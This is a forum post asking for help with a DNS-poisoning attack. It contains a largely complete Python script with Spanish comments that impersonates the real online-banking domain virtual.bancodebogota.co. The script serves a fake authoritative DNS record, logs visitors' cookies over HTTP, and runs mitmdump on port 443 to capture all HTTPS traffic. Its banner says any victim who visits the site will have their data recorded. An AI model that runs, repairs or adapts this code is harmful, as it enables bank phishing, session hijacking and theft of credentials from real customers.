I'm trying to dns poisoning a target but i dont understand the attack at all, could someone pls explain me what i'm doing wrong?
i only get a privilege esc error at run time
Python:
import os
import sys
import threading
import subprocess
import time
import signal
# --------------------------------------------------------------------------------
# 1) ELEVACIÓN A ADMINISTRADOR (auto‐runas)
# --------------------------------------------------------------------------------
def is_admin():
"""
Retorna True si el script se está ejecutando con privilegios de Administrador en Windows.
"""
try:
import ctypes
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except Exception:
return False
def relaunch_as_admin():
"""
Relanza el script actual pidiendo UAC (Run as Administrator) y termina la instancia actual.
"""
import ctypes
script = os.path.abspath(sys.argv[0])
params = " ".join([f'"{arg}"' for arg in sys.argv[1:]])
# ShellExecuteW(lpOperation, lpFile, lpParameters, lpDirectory, nShowCmd)
ctypes.windll.shell32.ShellExecuteW(
None,
"runas", # Pide UAC
sys.executable, # Ruta a python.exe
f'"{script}" {params}',
None,
1 # 1 = SW_SHOWNORMAL
)
sys.exit(0)
if not is_admin():
print("[*] No se detectan permisos de Administrador. Solicitando elevación UAC...")
relaunch_as_admin()
# --------------------------------------------------------------------------------
# 2) IMPORTS Y CONFIGURACIÓN GENERAL
# --------------------------------------------------------------------------------
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A
from dnslib.server import DNSServer, BaseResolver, DNSLogger
from http.server import HTTPServer, BaseHTTPRequestHandler
# Dominio autoritativo
DOMAIN = "virtual.bancodebogota.co."
VPS_IP = "xxxxxxxx"
# TTL para respuestas DNS (en segundos)
FAKE_TTL = 120
# Puerto HTTP (puerto privilegiado)
PORT_HTTP = 80
# Puerto HTTPS (puerto privilegiado) para mitmproxy
PORT_HTTPS = 443
# --------------------------------------------------------------------------------
# 3) IMPLEMENTACIÓN DEL RESOLVER DNS AUTORITATIVO
# --------------------------------------------------------------------------------
class AuthoritativeResolver(BaseResolver):
"""
Responde autoritativamente consultas A de DOMAIN → VPS_IP.
Si llegan otras consultas (o QNAME distinto), retorna NXDOMAIN.
"""
def resolve(self, request, handler):
qname = request.q.qname
qtype = request.q.qtype
# Construimos la respuesta DNS con header:
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=0), q=request.q)
qn = str(qname).lower().rstrip(".")
dom = DOMAIN.rstrip(".").lower()
if qn == dom and qtype == QTYPE.A:
reply.add_answer(RR(
rname=qname,
rtype=QTYPE.A,
rclass=1,
ttl=FAKE_TTL,
rdata=A(VPS_IP)
))
else:
# NXDOMAIN
reply.header.rcode = 3
return reply
def start_dns_server():
"""
Inicia un servidor DNS autoritativo UDP/53 para DOMAIN.
"""
print(f"[DNS] Iniciando DNS autoritativo para {DOMAIN} en 0.0.0.0:53 …")
resolver = AuthoritativeResolver()
logger = DNSLogger(prefix=False)
server = DNSServer(resolver, port=53, address="0.0.0.0", tcp=False, logger=logger)
server.start_thread() # Ejecuta en un thread separado
return server
# --------------------------------------------------------------------------------
# 4) IMPLEMENTACIÓN DEL SERVIDOR HTTP (PUERTO 80)
# --------------------------------------------------------------------------------
class AuditHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
client_ip = self.client_address[0]
ua = self.headers.get("User-Agent", "-")
cookies = self.headers.get("Cookie", "-")
path = self.path
print("\n[HTTP] PETICIÓN HTTP RECIBIDA:")
print(f" • Cliente IPv4: {client_ip}")
print(f" • User-Agent : {ua}")
print(f" • Cookies : {cookies}")
print(f" • Path : {path}\n")
with open("auditoria.log", "a", encoding="utf-8") as f:
f.write(f"[{time.ctime()}] {client_ip} | UA={ua} | Cookies={cookies} | Path={path}\n")
self.send_response(200)
self.send_header("Content-Type", "text/plain; charset=utf-8")
self.end_headers()
self.wfile.write("Servidor de Auditoría MIPYMES (HTTP)".encode("utf-8"))
def log_message(self, format, *args):
# Suprimir el log por defecto
return
def start_http_server():
"""
Inicia HTTPServer en 0.0.0.0:80 usando AuditHTTPHandler.
"""
try:
httpd = HTTPServer(("0.0.0.0", PORT_HTTP), AuditHTTPHandler)
print(f"[HTTP] Servidor HTTP iniciado en 0.0.0.0:{PORT_HTTP}")
httpd.serve_forever()
except PermissionError:
print("[ERROR] Necesitas privilegios de Administrador para bindear al puerto 80.")
sys.exit(1)
except Exception as e:
print(f"[ERROR] Error iniciando HTTP server en puerto {PORT_HTTP}: {e}")
sys.exit(1)
# --------------------------------------------------------------------------------
# 5) INICIAR MITMPROXY (PUERTO 443)
# --------------------------------------------------------------------------------
def start_mitmproxy():
"""
Ejecuta mitmdump en 0.0.0.0:443 para interceptar TODO HTTPS.
- --set flow_detail=2 para logs detallados.
- --ssl-insecure para no validar upstream.
- -w mitm_traffic.log para guardar flujos.
"""
args = [
"mitmdump",
"-p", str(PORT_HTTPS),
"--set", "flow_detail=2",
"--ssl-insecure",
"-w", "mitm_traffic.log"
]
print(f"[TLS] Iniciando mitmdump (escuchando en 0.0.0.0:{PORT_HTTPS}) …")
print(f" Comando: {' '.join(args)}")
try:
subprocess.Popen(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
except FileNotFoundError:
print(" ❌ mitmdump no se encontró. Instala mitmproxy y verifica que mitmdump esté en tu PATH.")
sys.exit(1)
# --------------------------------------------------------------------------------
# 6) EJECUCIÓN PRINCIPAL
# --------------------------------------------------------------------------------
if __name__ == "__main__":
print(f"""
===============================================================
🌐 DNS + HTTP + HTTPS “MITM” FUERA DE RED LOCAL (Windows)
Dominio: {DOMAIN}
IP Este Host: {VPS_IP}
-----------------------------------------------------------------
1) Servidor DNS autoritativo en UDP/53 responde:
{DOMAIN} → {VPS_IP} (TTL={FAKE_TTL})
2) Servidor HTTP en puerto {PORT_HTTP} registra User-Agent, Cookies y Path.
Guarda todo en auditoria.log.
3) mitmdump en puerto {PORT_HTTPS} intercepta TODO HTTPS y
guarda flujos en mitm_traffic.log.
4) Cualquier víctima en Internet que visite:
http://{DOMAIN} o https://{DOMAIN}
terminará en este servidor y quedarán sus datos registrados.
===============================================================
""")
# 1) Iniciar DNS autoritativo (UDP/53)
dns_server = start_dns_server()
# 2) Iniciar HTTP server (puerto 80) en thread
threading.Thread(target=start_http_server, daemon=True).start()
# 3) Iniciar mitmproxy (puerto 443) en thread
threading.Thread(target=start_mitmproxy, daemon=True).start()
# 4) Mantener vivo hasta Ctrl+C
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[!] Cerrando todos los servicios…")
dns_server.stop()
sys.exit(0)
] Iniciando mitmproxy en el puerto 8081...
] Servidor HTTP corriendo en 192.168.1.12:8080